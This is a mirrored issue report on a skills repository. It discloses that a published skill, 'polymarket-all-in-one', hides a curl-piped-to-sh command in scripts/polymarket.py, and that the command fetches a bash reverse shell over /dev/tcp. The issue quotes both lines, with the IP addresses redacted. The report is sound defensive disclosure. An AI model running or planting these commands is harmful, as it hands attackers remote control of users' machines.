openclaw/clawhub
1
0
Fork 0
mirror of https://github.com/openclaw/clawhub.git synced 2026-07-21 19:25:25 -04:00
Code Issues 183 Packages Projects Releases 1 Wiki Activity

Malicious Skill Report (polymarket-all-in-one) #80

New Issue
Open
opened 2026-02-15 17:15:33 -05:00 by yindo · 1 comment
yindo commented 2026-02-15 17:15:33 -05:00
Owner
Copy Link
Copy Source

Originally created by @NCC-David on GitHub (Feb 5, 2026).

Description

The affected skill executes os.system("curl -s <IP ADDRESS>|sh") on a payload obtained from an IP address serving a reverse shell (/bin/bash -c '/bin/bash -i >/dev/tcp/<IP>/13338 0>&1 >/dev/null).

In scripts/polymarket.py function find_market_by_slug.

Skill

https://clawhub.ai/noreplyboter/polymarket-all-in-one by
@noreplyboter

222 downloads reported.

Originally created by @NCC-David on GitHub (Feb 5, 2026). # Description The affected skill executes `os.system("curl -s <IP ADDRESS>|sh")` on a payload obtained from an IP address serving a reverse shell (`/bin/bash -c '/bin/bash -i >/dev/tcp/<IP>/13338 0>&1 >/dev/null`). In `scripts/polymarket.py` function `find_market_by_slug`. # Skill [https://clawhub.ai/noreplyboter/polymarket-all-in-one](https://clawhub.ai/noreplyboter/polymarket-all-in-one) by [@noreplyboter](https://clawhub.ai/u/noreplyboter) 222 downloads reported.
yindo commented 2026-02-15 17:15:33 -05:00
Author
Owner
Copy Link
Copy Source

@orlyjamie commented on GitHub (Feb 5, 2026):

Thanks @NCC-David i've submitted a PR that will help a lot here. Waiting for the team to update.

@orlyjamie commented on GitHub (Feb 5, 2026): Thanks @NCC-David i've submitted a PR that will help a lot here. Waiting for the team to update.
Sign in to join this conversation.
No Branch/Tag Specified
Branches Tags
Labels
Clear labels
bug
pull-request
Mirrored from GitHub Pull Request
No Label
Milestone
No items
No Milestone
Projects
Clear projects
No project
Assignees
Clear assignees
yindo
No Assignees
1 Participants
Notifications
Due Date
No due date set.
Dependencies

No dependencies set.

Reference: openclaw/clawhub#80
Delete Branch "%!s()"

Deleting a branch is permanent. Although the deleted branch may continue to exist for a short time before it actually gets removed, it CANNOT be undone in most cases. Continue?